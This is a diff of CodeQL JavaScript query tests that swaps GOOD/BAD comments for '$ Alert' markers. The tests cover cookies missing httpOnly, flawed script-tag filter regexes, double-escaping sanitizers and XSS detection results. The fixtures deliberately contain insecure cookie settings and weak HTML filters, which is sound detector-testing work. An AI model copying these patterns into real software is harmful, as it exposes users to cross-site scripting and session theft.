--- a/javascript/ql/test/query-tests/Security/CWE-1004/tst-httpOnly.js
+++ b/javascript/ql/test/query-tests/Security/CWE-1004/tst-httpOnly.js
@@ -5,19 +5,19 @@ const session = require('cookie-session')
 app.use(session({
     name: 'session',
     keys: ['key1', 'key2'],
-    httpOnly: true, // GOOD
+    httpOnly: true,
 }))
 
 app.use(session({
     name: 'session',
     keys: ['key1', 'key2'],
-    httpOnly: false // BAD
-}))
+    httpOnly: false
+})) // $ Alert
 
 app.use(session({
     name: 'session',
     keys: ['key1', 'key2'],
-    secure: true // GOOD, httpOnly is true by default
+    secure: true // OK - httpOnly is true by default
 }))
 
 var sess = {
@@ -26,7 +26,7 @@ var sess = {
 }
 
 sess.httpOnly = false;
-app.use(session(sess)) // BAD
+app.use(session(sess)) // $ Alert
 
 var sess2 = {
     name: 'session',
@@ -35,7 +35,7 @@ var sess2 = {
 }
 
 sess2.httpOnly = false;
-app.use(session(sess2)) // BAD
+app.use(session(sess2)) // $ Alert
 
 var sess3 = {
     name: 'mycookie',
@@ -44,21 +44,21 @@ var sess3 = {
 }
 
 sess3.httpOnly = false;
-app.use(session(sess3)) // BAD, It is a session cookie, name doesn't matter
+app.use(session(sess3)) // $ Alert - It is a session cookie, name doesn't matter
 
 var flag = false
 var flag2 = flag
 app.use(session({
     name: 'session',
     keys: ['key1', 'key2'],
-    httpOnly: flag2 // BAD
-}))
+    httpOnly: flag2
+})) // $ Alert
 
 app.get('/a', function (req, res, next) {
     res.cookie('authkey', 'value',
         {
             maxAge: 9000000000,
-            httpOnly: true, // GOOD
+            httpOnly: true,
             secure: false
         });
     res.end('ok')
@@ -68,9 +68,9 @@ app.get('/a', function (req, res, next) {
     res.cookie('authkey', 'value',
         {
             maxAge: 9000000000,
-            httpOnly: false, // BAD
+            httpOnly: false,
             secure: false
-        });
+        }); // $ Alert
     res.end('ok')
 })
 
@@ -78,14 +78,14 @@ app.get('/a', function (req, res, next) {
     res.cookie('authkey', 'value',
         {
             maxAge: 9000000000
-        });
-    res.end('ok') // BAD
+        }); // $ Alert
+    res.end('ok')
 })
 
 app.get('/a', function (req, res, next) {
     let options = {
         maxAge: 9000000000,
-        httpOnly: true, // GOOD
+        httpOnly: true,
         secure: false
     }
     res.cookie('authkey', 'value', options);
@@ -95,10 +95,10 @@ app.get('/a', function (req, res, next) {
 app.get('/a', function (req, res, next) {
     let options = {
         maxAge: 9000000000,
-        httpOnly: false, // BAD
+        httpOnly: false,
         secure: false
     }
-    res.cookie('authkey', 'value', options);
+    res.cookie('authkey', 'value', options); // $ Alert
     res.end('ok')
 })
 
@@ -106,7 +106,7 @@ app.get('/a', function (req, res, next) {
     let options = {
         maxAge: 9000000000
     }
-    res.cookie('authkey', 'value', options); // BAD
+    res.cookie('authkey', 'value', options); // $ Alert
     res.end('ok')
 })
 
@@ -115,7 +115,7 @@ app.get('/a', function (req, res, next) {
         maxAge: 9000000000
     }
     options.httpOnly = false;
-    res.cookie('authkey', 'value', options); // BAD
+    res.cookie('authkey', 'value', options); // $ Alert
     res.end('ok')
 })
 
@@ -124,7 +124,7 @@ app.get('/a', function (req, res, next) {
         maxAge: 9000000000
     }
     options.httpOnly = true;
-    res.cookie('authkey', 'value', options); // GOOD
+    res.cookie('authkey', 'value', options);
     res.end('ok')
 })
 
@@ -134,7 +134,7 @@ app.get('/a', function (req, res, next) {
         httpOnly: false,
     }
     options.httpOnly = false;
-    res.cookie('authkey', 'value', options); // BAD
+    res.cookie('authkey', 'value', options); // $ Alert
     res.end('ok')
 })
 
@@ -145,7 +145,7 @@ app.get('/a', function (req, res, next) {
     }
     options.httpOnly = false;
     let authKey = "blabla"
-    res.cookie(authKey, 'value', options); // BAD, var name likely auth related
+    res.cookie(authKey, 'value', options); // $ Alert - var name likely auth related
     res.end('ok')
 })
 
@@ -156,7 +156,7 @@ app.get('/a', function (req, res, next) {
     }
     options.httpOnly = false;
     let o = { authKey: "blabla" }
-    res.cookie(o.authKey, 'value', options); // BAD, var name likely auth related
+    res.cookie(o.authKey, 'value', options); // $ Alert - var name likely auth related
     res.end('ok')
 })
 
@@ -167,7 +167,7 @@ app.get('/a', function (req, res, next) {
     }
     options.httpOnly = false;
     let blabla = "authKey"
-    res.cookie(blabla, 'value', options); // BAD, var name likely auth related
+    res.cookie(blabla, 'value', options); // $ Alert - var name likely auth related
     res.end('ok')
 })
 
@@ -177,7 +177,7 @@ app.get('/a', function (req, res, next) {
         httpOnly: true,
     }
     options.httpOnly = true;
-    res.cookie('authkey', 'value', options); // GOOD
+    res.cookie('authkey', 'value', options);
     res.end('ok')
 })
 
@@ -187,7 +187,7 @@ app.get('/a', function (req, res, next) {
         httpOnly: false,
     }
     options.httpOnly = true;
-    res.cookie('authkey', 'value', options); // GOOD
+    res.cookie('authkey', 'value', options);
     res.end('ok')
 })
 
@@ -196,7 +196,7 @@ app.get('/a', function (req, res, next) {
         maxAge: 9000000000,
         httpOnly: false,
     }
-    res.cookie('mycookie', 'value', options); // GOOD, name likely is not auth sensitive
+    res.cookie('mycookie', 'value', options); // OK - name likely is not auth sensitive
     res.end('ok')
 })
 
@@ -205,8 +205,7 @@ const http = require('http');
 function test1() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        // BAD
-        res.setHeader("Set-Cookie", "authKey=ninja");
+        res.setHeader("Set-Cookie", "authKey=ninja"); // $ Alert
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
     });
@@ -215,7 +214,7 @@ function test1() {
 function test2() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        // GOOD
+
         res.setHeader("Set-Cookie", "auth=ninja; HttpOnly");
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
@@ -225,8 +224,7 @@ function test2() {
 function test3() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        // BAD
-        res.setHeader("Set-Cookie", ["authKey=ninja", "token=javascript"]);
+        res.setHeader("Set-Cookie", ["authKey=ninja", "token=javascript"]); // $ Alert
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
     });
@@ -235,7 +233,7 @@ function test3() {
 function test4() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        // GOOD
+
         res.setHeader("Set-Cookie", ["auth=ninja; HttpOnly"]);
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
@@ -245,7 +243,7 @@ function test4() {
 function test5() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        // GOOD, case insensitive
+        // OK - case insensitive
         res.setHeader("Set-Cookie", ["auth=ninja; httponly"]);
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
@@ -265,7 +263,7 @@ function test6() {
 function test7() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        // Good, not auth related
+        // OK - not auth related
         res.setHeader("Set-Cookie", ["foo=ninja", "bar=javascript"]);
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
@@ -276,7 +274,7 @@ function test8() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
         let attr = "; httponly"
-        res.setHeader("Set-Cookie", `session=ninja ${attr}`); // Good, httponly string expression
+        res.setHeader("Set-Cookie", `session=ninja ${attr}`); // OK - httponly string expression
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
     });
@@ -286,7 +284,7 @@ function test9() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
         let attr = "; secure"
-        res.setHeader("Set-Cookie", `authKey=ninja ${attr}`); // Bad, not httponly string expression
+        res.setHeader("Set-Cookie", `authKey=ninja ${attr}`); // $ Alert - not httponly string expression
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
     });
@@ -297,22 +295,22 @@ const session = require('express-session')
 app.use(session({
     name: 'session',
     keys: ['key1', 'key2'],
-    cookie: { httpOnly: true }, // GOOD
+    cookie: { httpOnly: true },
 }))
 
 app.use(session({
     name: 'session',
     keys: ['key1', 'key2'],
-    cookie: { httpOnly: false } // BAD
-}))
+    cookie: { httpOnly: false }
+})) // $ Alert
 
 app.use(session({
     name: 'session',
     keys: ['key1', 'key2'],
-    cookie: { secure: true } // GOOD, httpOnly is true by default
+    cookie: { secure: true } // OK - httpOnly is true by default
 }))
 
-app.use(session({ // GOOD, httpOnly is true by default
+app.use(session({ // OK - httpOnly is true by default
     name: 'session',
     keys: ['key1', 'key2']
 }))
@@ -320,14 +318,14 @@ app.use(session({ // GOOD, httpOnly is true by default
 app.use(session({
     name: 'mycookie',
     keys: ['key1', 'key2'],
-    cookie: { httpOnly: false } // BAD, It is a session cookie, name doesn't matter
-}))
+    cookie: { httpOnly: false } // It is a session cookie, name doesn't matter
+})) // $ Alert
 
 const http = require('http');
 function test10() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        res.setHeader("Set-Cookie", "sessionKey=" + makeSessionKey()); // BAD
+        res.setHeader("Set-Cookie", "sessionKey=" + makeSessionKey()); // $ Alert
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
     });
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/BadTagFilter/BadTagFilter.qlref b/javascript/ql/test/query-tests/Security/CWE-116/BadTagFilter/BadTagFilter.qlref
index e5fc84fd48a9..443c007de0cb 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/BadTagFilter/BadTagFilter.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-116/BadTagFilter/BadTagFilter.qlref
@@ -1 +1,2 @@
-Security/CWE-116/BadTagFilter.ql
+query: Security/CWE-116/BadTagFilter.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/BadTagFilter/tst.js b/javascript/ql/test/query-tests/Security/CWE-116/BadTagFilter/tst.js
index 5b294adae1b7..5fdc3b0c798e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/BadTagFilter/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-116/BadTagFilter/tst.js
@@ -1,25 +1,25 @@
 var filters = [
-    /<script.*?>.*?<\/script>/i, // NOT OK - doesn't match newlines or `</script >`
-    /<script.*?>.*?<\/script>/is, // NOT OK - doesn't match `</script >`
-    /<script.*?>.*?<\/script[^>]*>/is, // OK
+    /<script.*?>.*?<\/script>/i, // $ Alert - doesn't match newlines or `</script >`
+    /<script.*?>.*?<\/script>/is, // $ Alert - doesn't match `</script >`
+    /<script.*?>.*?<\/script[^>]*>/is,
     /<!--.*-->/is, // OK - we don't care regexps that only match comments
-    /<!--.*--!?>/is, // OK
-    /<!--.*--!?>/i, // NOT OK, does not match newlines
-    /<script.*?>(.|\s)*?<\/script[^>]*>/i, // NOT OK - doesn't match inside the script tag
-    /<script[^>]*?>.*?<\/script[^>]*>/i, // NOT OK - doesn't match newlines inside the content
-    /<script(\s|\w|=|")*?>.*?<\/script[^>]*>/is, // NOT OK - does not match single quotes for attribute values
-    /<script(\s|\w|=|')*?>.*?<\/script[^>]*>/is, // NOT OK - does not match double quotes for attribute values
-    /<script( |\n|\w|=|'|")*?>.*?<\/script[^>]*>/is, // NOT OK - does not match tabs between attributes
-    /<script.*?>.*?<\/script[^>]*>/s, // NOT OK - does not match uppercase SCRIPT tags
-    /<(script|SCRIPT).*?>.*?<\/(script|SCRIPT)[^>]*>/s, // NOT OK - does not match mixed case script tags
-    /<script[^>]*?>[\s\S]*?<\/script.*>/i, // NOT OK - doesn't match newlines in the end tag
-    /<script[^>]*?>[\s\S]*?<\/script[^>]*?>/i, // OK
-    /<script\b[^>]*>([\s\S]*?)<\/script>/gi, // NOT OK - too strict matching on the end tag
-    /<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>/, // NOT OK - doesn't match comments with the right capture groups
-    /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/, // NOT OK - capture groups
-	/(<[a-z\/!$]("[^"]*"|'[^']*'|[^'">])*>|<!(--.*?--\s*)+>)/gi, // NOT OK - capture groups
-    /<(?:(?:!--([\w\W]*?)-->)|(?:!\[CDATA\[([\w\W]*?)\]\]>)|(?:!DOCTYPE([\w\W]*?)>)|(?:\?([^\s\/<>]+) ?([\w\W]*?)[?/]>)|(?:\/([A-Za-z][A-Za-z0-9\-_\:\.]*)>)|(?:([A-Za-z][A-Za-z0-9\-_\:\.]*)((?:\s+[^"'>]+(?:(?:"[^"]*")|(?:'[^']*')|[^>]*))*|\/|\s+)>))/g, // NOT OK - capture groups
-    /<!--([\w\W]*?)-->|<([^>]*?)>/g, // NOT OK - capture groups
+    /<!--.*--!?>/is,
+    /<!--.*--!?>/i, // $ Alert - does not match newlines
+    /<script.*?>(.|\s)*?<\/script[^>]*>/i, // $ Alert - doesn't match inside the script tag
+    /<script[^>]*?>.*?<\/script[^>]*>/i, // $ Alert - doesn't match newlines inside the content
+    /<script(\s|\w|=|")*?>.*?<\/script[^>]*>/is, // $ Alert - does not match single quotes for attribute values
+    /<script(\s|\w|=|')*?>.*?<\/script[^>]*>/is, // $ Alert - does not match double quotes for attribute values
+    /<script( |\n|\w|=|'|")*?>.*?<\/script[^>]*>/is, // $ Alert - does not match tabs between attributes
+    /<script.*?>.*?<\/script[^>]*>/s, // $ Alert - does not match uppercase SCRIPT tags
+    /<(script|SCRIPT).*?>.*?<\/(script|SCRIPT)[^>]*>/s, // $ Alert - does not match mixed case script tags
+    /<script[^>]*?>[\s\S]*?<\/script.*>/i, // $ Alert - doesn't match newlines in the end tag
+    /<script[^>]*?>[\s\S]*?<\/script[^>]*?>/i,
+    /<script\b[^>]*>([\s\S]*?)<\/script>/gi, // $ Alert - too strict matching on the end tag
+    /<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>/, // $ Alert - doesn't match comments with the right capture groups
+    /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/, // $ Alert - capture groups
+	/(<[a-z\/!$]("[^"]*"|'[^']*'|[^'">])*>|<!(--.*?--\s*)+>)/gi, // $ Alert - capture groups
+    /<(?:(?:!--([\w\W]*?)-->)|(?:!\[CDATA\[([\w\W]*?)\]\]>)|(?:!DOCTYPE([\w\W]*?)>)|(?:\?([^\s\/<>]+) ?([\w\W]*?)[?/]>)|(?:\/([A-Za-z][A-Za-z0-9\-_\:\.]*)>)|(?:([A-Za-z][A-Za-z0-9\-_\:\.]*)((?:\s+[^"'>]+(?:(?:"[^"]*")|(?:'[^']*')|[^>]*))*|\/|\s+)>))/g, // $ Alert - capture groups
+    /<!--([\w\W]*?)-->|<([^>]*?)>/g, // $ Alert - capture groups
 ]
 
 doFilters(filters)
@@ -28,8 +28,8 @@ var strip = '<script([^>]*)>([\\S\\s]*?)<\/script([^>]*)>';  // OK - it's used w
 new RegExp(strip, 'gi');
 
 var moreFilters = [
-    /-->/g, // NOT OK - doesn't match --!>
-    /^>|^->|<!--|-->|--!>|<!-$/g, // OK
+    /-->/g, // $ Alert - doesn't match --!>
+    /^>|^->|<!--|-->|--!>|<!-$/g,
 ];
 
 doFilters(moreFilters);
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/DoubleEscaping.qlref b/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/DoubleEscaping.qlref
index dd5192119336..cb44b66ed603 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/DoubleEscaping.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/DoubleEscaping.qlref
@@ -1 +1,2 @@
-Security/CWE-116/DoubleEscaping.ql
+query: Security/CWE-116/DoubleEscaping.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/tst.js b/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/tst.js
index 4fe8c9d6f220..5c31272ac5a2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-116/DoubleEscaping/tst.js
@@ -1,7 +1,7 @@
 function badEncode(s) {
   return s.replace(/"/g, "&quot;")
           .replace(/'/g, "&apos;")
-          .replace(/&/g, "&amp;");
+          .replace(/&/g, "&amp;"); // $ Alert
 }
 
 function goodEncode(s) {
@@ -17,7 +17,7 @@ function goodDecode(s) {
 }
 
 function badDecode(s) {
-  return s.replace(/&amp;/g, "&")
+  return s.replace(/&amp;/g, "&") // $ Alert
           .replace(/&quot;/g, "\"")
           .replace(/&apos;/g, "'");
 }
@@ -27,7 +27,7 @@ function cleverEncode(code) {
 }
 
 function badDecode2(s) {
-  return s.replace(/&amp;/g, "&")
+  return s.replace(/&amp;/g, "&") // $ Alert
           .replace(/s?ome|thin*g/g, "else")
           .replace(/&apos;/g, "'");
 }
@@ -44,20 +44,20 @@ function goodDecodeInLoop(ss) {
 }
 
 function badDecode3(s) {
-  s = s.replace(/&amp;/g, "&");
+  s = s.replace(/&amp;/g, "&"); // $ Alert
   s = s.replace(/&quot;/g, "\"");
   return s.replace(/&apos;/g, "'");
 }
 
 function badUnescape(s) {
-  return s.replace(/\\\\/g, '\\')
+  return s.replace(/\\\\/g, '\\') // $ Alert
            .replace(/\\'/g, '\'')
            .replace(/\\"/g, '\"');
 }
 
 function badPercentEscape(s) {
   s = s.replace(/&/g, '%26');
-  s = s.replace(/%/g, '%25');
+  s = s.replace(/%/g, '%25'); // $ Alert
   return s;
 }
 
@@ -67,7 +67,7 @@ function badEncode(s) {
   var indirect3 = /&/g;
   return s.replace(indirect1, "&quot;")
           .replace(indirect2, "&apos;")
-          .replace(indirect3, "&amp;");
+          .replace(indirect3, "&amp;"); // $ Alert
 }
 
 function badEncodeWithReplacer(s) {
@@ -76,7 +76,7 @@ function badEncodeWithReplacer(s) {
     "'": "&apos;",
     "&": "&amp;"
   };
-  return s.replace(/["']/g, (c) => repl[c]).replace(/&/g, "&amp;");
+  return s.replace(/["']/g, (c) => repl[c]).replace(/&/g, "&amp;"); // $ Alert
 }
 
 // dubious, but out of scope for this query
@@ -98,17 +98,17 @@ function encodeDecodeEncode(s) {
 function badEncode(s) {
   return s.replace(new RegExp("\"", "g"), "&quot;")
           .replace(new RegExp("\'", "g"), "&apos;")
-          .replace(new RegExp("&", "g"), "&amp;"); // NOT OK
+          .replace(new RegExp("&", "g"), "&amp;"); // $ Alert
 }
 
 function goodEncode(s) {
   return s.replace(new RegExp("\"", ""), "&quot;")
           .replace(new RegExp("\'", ""), "&apos;")
-          .replace(new RegExp("&", ""), "&amp;"); // OK
+          .replace(new RegExp("&", ""), "&amp;");
 }
 
 function goodEncode(s) {
   return s.replace(new RegExp("\"", unknownFlags()), "&quot;")
           .replace(new RegExp("\'", unknownFlags()), "&apos;")
-          .replace(new RegExp("&", unknownFlags()), "&amp;"); // OK
+          .replace(new RegExp("&", unknownFlags()), "&amp;");
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.expected b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.expected
index 7af957d720a1..162ff1c05993 100644
--- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteHtmlAttributeSanitization.expected
@@ -1,3 +1,21 @@
+#select
+| tst.js:243:9:243:31 | s().rep ... ]/g,'') | tst.js:243:9:243:31 | s().rep ... ]/g,'') | tst.js:243:9:243:31 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain double quotes when it reaches this attribute definition. | tst.js:243:9:243:31 | s().rep ... ]/g,'') | this final HTML sanitizer step |
+| tst.js:244:9:244:33 | s().rep ... /g, '') | tst.js:244:9:244:33 | s().rep ... /g, '') | tst.js:244:9:244:33 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain double quotes when it reaches this attribute definition. | tst.js:244:9:244:33 | s().rep ... /g, '') | this final HTML sanitizer step |
+| tst.js:249:9:249:33 | s().rep ... ]/g,'') | tst.js:249:9:249:33 | s().rep ... ]/g,'') | tst.js:249:9:249:33 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain double quotes when it reaches this attribute definition. | tst.js:249:9:249:33 | s().rep ... ]/g,'') | this final HTML sanitizer step |
+| tst.js:250:9:250:33 | s().rep ... ]/g,'') | tst.js:250:9:250:33 | s().rep ... ]/g,'') | tst.js:250:9:250:33 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:250:9:250:33 | s().rep ... ]/g,'') | this final HTML sanitizer step |
+| tst.js:253:21:253:45 | s().rep ... /g, '') | tst.js:253:21:253:45 | s().rep ... /g, '') | tst.js:253:21:253:45 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain ampersands or double quotes when it reaches this attribute definition. | tst.js:253:21:253:45 | s().rep ... /g, '') | this final HTML sanitizer step |
+| tst.js:254:32:254:56 | s().rep ... /g, '') | tst.js:254:32:254:56 | s().rep ... /g, '') | tst.js:254:32:254:56 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain ampersands or double quotes when it reaches this attribute definition. | tst.js:254:32:254:56 | s().rep ... /g, '') | this final HTML sanitizer step |
+| tst.js:270:61:270:85 | s().rep ... /g, '') | tst.js:270:61:270:85 | s().rep ... /g, '') | tst.js:270:61:270:85 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain ampersands or double quotes when it reaches this attribute definition. | tst.js:270:61:270:85 | s().rep ... /g, '') | this final HTML sanitizer step |
+| tst.js:275:9:275:21 | arr.join(" ") | tst.js:274:12:274:94 | s().val ... g , '') | tst.js:275:9:275:21 | arr.join(" ") | Cross-site scripting vulnerability as the output of $@ may contain double quotes when it reaches this attribute definition. | tst.js:274:12:274:94 | s().val ... g , '') | this final HTML sanitizer step |
+| tst.js:300:10:300:33 | s().rep ... ]/g,'') | tst.js:300:10:300:33 | s().rep ... ]/g,'') | tst.js:300:10:300:33 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:300:10:300:33 | s().rep ... ]/g,'') | this final HTML sanitizer step |
+| tst.js:301:10:301:32 | s().rep ... ]/g,'') | tst.js:301:10:301:32 | s().rep ... ]/g,'') | tst.js:301:10:301:32 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:301:10:301:32 | s().rep ... ]/g,'') | this final HTML sanitizer step |
+| tst.js:302:10:302:34 | s().rep ... ]/g,'') | tst.js:302:10:302:34 | s().rep ... ]/g,'') | tst.js:302:10:302:34 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:302:10:302:34 | s().rep ... ]/g,'') | this final HTML sanitizer step |
+| tst.js:303:10:303:34 | s().rep ... /g, '') | tst.js:303:10:303:34 | s().rep ... /g, '') | tst.js:303:10:303:34 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:303:10:303:34 | s().rep ... /g, '') | this final HTML sanitizer step |
+| tst.js:309:10:318:3 | s().rep ... ;";\\n\\t}) | tst.js:309:10:318:3 | s().rep ... ;";\\n\\t}) | tst.js:309:10:318:3 | s().rep ... ;";\\n\\t}) | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:309:10:318:3 | s().rep ... ;";\\n\\t}) | this final HTML sanitizer step |
+edges
+| tst.js:274:6:274:94 | arr | tst.js:275:9:275:11 | arr | provenance |  |
+| tst.js:274:12:274:94 | s().val ... g , '') | tst.js:274:6:274:94 | arr | provenance |  |
+| tst.js:275:9:275:11 | arr | tst.js:275:9:275:21 | arr.join(" ") | provenance |  |
 nodes
 | tst.js:243:9:243:31 | s().rep ... ]/g,'') | semmle.label | s().rep ... ]/g,'') |
 | tst.js:244:9:244:33 | s().rep ... /g, '') | semmle.label | s().rep ... /g, '') |
@@ -15,22 +33,4 @@ nodes
 | tst.js:302:10:302:34 | s().rep ... ]/g,'') | semmle.label | s().rep ... ]/g,'') |
 | tst.js:303:10:303:34 | s().rep ... /g, '') | semmle.label | s().rep ... /g, '') |
 | tst.js:309:10:318:3 | s().rep ... ;";\\n\\t}) | semmle.label | s().rep ... ;";\\n\\t}) |
-edges
-| tst.js:274:6:274:94 | arr | tst.js:275:9:275:11 | arr | provenance |  |
-| tst.js:274:12:274:94 | s().val ... g , '') | tst.js:274:6:274:94 | arr | provenance |  |
-| tst.js:275:9:275:11 | arr | tst.js:275:9:275:21 | arr.join(" ") | provenance |  |
 subpaths
-#select
-| tst.js:243:9:243:31 | s().rep ... ]/g,'') | tst.js:243:9:243:31 | s().rep ... ]/g,'') | tst.js:243:9:243:31 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain double quotes when it reaches this attribute definition. | tst.js:243:9:243:31 | s().rep ... ]/g,'') | this final HTML sanitizer step |
-| tst.js:244:9:244:33 | s().rep ... /g, '') | tst.js:244:9:244:33 | s().rep ... /g, '') | tst.js:244:9:244:33 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain double quotes when it reaches this attribute definition. | tst.js:244:9:244:33 | s().rep ... /g, '') | this final HTML sanitizer step |
-| tst.js:249:9:249:33 | s().rep ... ]/g,'') | tst.js:249:9:249:33 | s().rep ... ]/g,'') | tst.js:249:9:249:33 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain double quotes when it reaches this attribute definition. | tst.js:249:9:249:33 | s().rep ... ]/g,'') | this final HTML sanitizer step |
-| tst.js:250:9:250:33 | s().rep ... ]/g,'') | tst.js:250:9:250:33 | s().rep ... ]/g,'') | tst.js:250:9:250:33 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:250:9:250:33 | s().rep ... ]/g,'') | this final HTML sanitizer step |
-| tst.js:253:21:253:45 | s().rep ... /g, '') | tst.js:253:21:253:45 | s().rep ... /g, '') | tst.js:253:21:253:45 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain ampersands or double quotes when it reaches this attribute definition. | tst.js:253:21:253:45 | s().rep ... /g, '') | this final HTML sanitizer step |
-| tst.js:254:32:254:56 | s().rep ... /g, '') | tst.js:254:32:254:56 | s().rep ... /g, '') | tst.js:254:32:254:56 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain ampersands or double quotes when it reaches this attribute definition. | tst.js:254:32:254:56 | s().rep ... /g, '') | this final HTML sanitizer step |
-| tst.js:270:61:270:85 | s().rep ... /g, '') | tst.js:270:61:270:85 | s().rep ... /g, '') | tst.js:270:61:270:85 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain ampersands or double quotes when it reaches this attribute definition. | tst.js:270:61:270:85 | s().rep ... /g, '') | this final HTML sanitizer step |
-| tst.js:275:9:275:21 | arr.join(" ") | tst.js:274:12:274:94 | s().val ... g , '') | tst.js:275:9:275:21 | arr.join(" ") | Cross-site scripting vulnerability as the output of $@ may contain double quotes when it reaches this attribute definition. | tst.js:274:12:274:94 | s().val ... g , '') | this final HTML sanitizer step |
-| tst.js:300:10:300:33 | s().rep ... ]/g,'') | tst.js:300:10:300:33 | s().rep ... ]/g,'') | tst.js:300:10:300:33 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:300:10:300:33 | s().rep ... ]/g,'') | this final HTML sanitizer step |
-| tst.js:301:10:301:32 | s().rep ... ]/g,'') | tst.js:301:10:301:32 | s().rep ... ]/g,'') | tst.js:301:10:301:32 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:301:10:301:32 | s().rep ... ]/g,'') | this final HTML sanitizer step |
-| tst.js:302:10:302:34 | s().rep ... ]/g,'') | tst.js:302:10:302:34 | s().rep ... ]/g,'') | tst.js:302:10:302:34 | s().rep ... ]/g,'') | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:302:10:302:34 | s().rep ... ]/g,'') | this final HTML sanitizer step |
-| tst.js:303:10:303:34 | s().rep ... /g, '') | tst.js:303:10:303:34 | s().rep ... /g, '') | tst.js:303:10:303:34 | s().rep ... /g, '') | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:303:10:303:34 | s().rep ... /g, '') | this final HTML sanitizer step |
-| tst.js:309:10:318:3 | s().rep ... ;";\\n\\t}) | tst.js:309:10:318:3 | s().rep ... ;";\\n\\t}) | tst.js:309:10:318:3 | s().rep ... ;";\\n\\t}) | Cross-site scripting vulnerability as the output of $@ may contain single quotes when it reaches this attribute definition. | tst.js:309:10:318:3 | s().rep ... ;";\\n\\t}) | this final HTML sanitizer step |
